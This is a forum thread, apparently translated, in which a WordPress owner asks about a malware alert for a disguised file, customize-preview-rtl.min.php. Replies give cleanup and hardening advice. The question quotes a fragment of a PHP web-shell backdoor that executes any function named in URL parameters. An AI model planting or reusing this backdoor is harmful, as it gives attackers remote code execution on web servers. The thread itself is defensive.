A virus has been detected on the wordpress site hosting public_html/wp-includes/css/customize-preview-rtl.min.php, what should I do?

Question

Malware

Hello everyone, recently a message appeared on beget hosting that one virus was detected, at this address site/public_html/wp-includes/css/customize-preview-rtl.min.php
and the line is shown
<?php @!!!>if( isset($_GET[1])){$_=$_GET;$_[1]($_[2]);exit;}if(isset($_REQUEST['startx'])){print "

Answer 1

Well? You were also shown a line with a virus. Remove it, eval() is encrypted there simply.
He got there through some hole in WordPress. To avoid this, keep your Wordpress up to date.
Hackers will always look for new holes in mass CMS, and software manufacturers will constantly patch them. Whoever is faster - he won.

Answer 2

Completely reinstall WordPress. Replace all its files except your own theme and plugins.

Answer 3

Take and configure your VPS, give the Web server read-only rights, and forget about these problems. And deleting the line, tomorrow you can wait for a new one)

Answer 4

Treat and look for where he came from